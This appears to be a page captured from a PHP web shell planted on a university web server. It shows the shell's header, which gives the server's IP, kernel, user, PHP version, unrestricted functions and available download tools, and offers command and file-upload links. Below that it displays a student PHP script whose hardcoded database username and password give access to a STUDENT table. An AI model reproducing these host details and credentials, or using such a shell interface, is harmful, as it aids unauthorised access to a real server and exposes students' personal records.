Server IP : 172.16.15.8 / Your IP : 3.139.83.248 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/cmsalazar/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $host = 'localhost'; $user = 'cmsalazar'; $passwd = 'cs480'; $database = 'cmsalazar'; $connect = mysqli_connect($host, $user, $passwd); $query = "select * from STUDENT"; // print "The query is <i> $query </i> "; mysqli_select_db($connect, $database); $result_id = mysqli_query($connect, $query); if($result_id) { print '<table border=1>'; print '<TH> ID <TH> FIRSTNAME <TH> LASTNAME <TH> GENDER'; while($row = mysqli_fetch_row($result_id)) { print '<TR>'; foreach ($row as $field) print "<TD> $field </TD> "; print '</TR>'; } print '</table>'; } else print "Fail.<p>"; mysqli_close($connect); ?>